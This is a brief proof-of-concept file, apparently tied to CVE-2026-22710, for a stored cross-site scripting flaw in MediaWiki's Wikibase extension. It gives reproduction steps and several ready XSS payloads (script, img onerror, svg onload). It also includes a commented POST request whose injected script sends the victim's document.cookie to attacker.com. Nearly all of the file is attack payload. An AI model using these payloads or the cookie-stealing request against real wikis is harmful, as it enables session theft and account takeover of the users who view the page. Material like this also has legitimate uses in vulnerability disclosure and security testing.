CVE-2026-22710

<!-- CVE-2026-22710 PoC - XSS in MediaWiki Wikibase Extension --> <!-- This PoC demonstrates the XSS vulnerability in Wikibase Extension --> <!-- Steps to reproduce: --> <!-- 1. Login to a MediaWiki instance with Wikibase Extension --> <!-- 2. Navigate to a Wikibase entity page --> <!-- 3. Inject the following payload in a property value field --> <!-- Basic XSS Payload --> <script>alert(document.cookie)</script> <!-- Event Handler XSS Payload --> <img src=x onerror=alert('XSS')> <!-- SVG XSS Payload --> <svg onload=alert(document.domain)> <!-- Example: Editing a Wikibase property with malicious value --> <!-- POST /wiki/Special:SetLabel/Property:P123 --> <!-- payload: {"value":"<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"} --> <!-- When victim visits the page containing this property, --> <!-- the injected JavaScript will execute in their browser context -->

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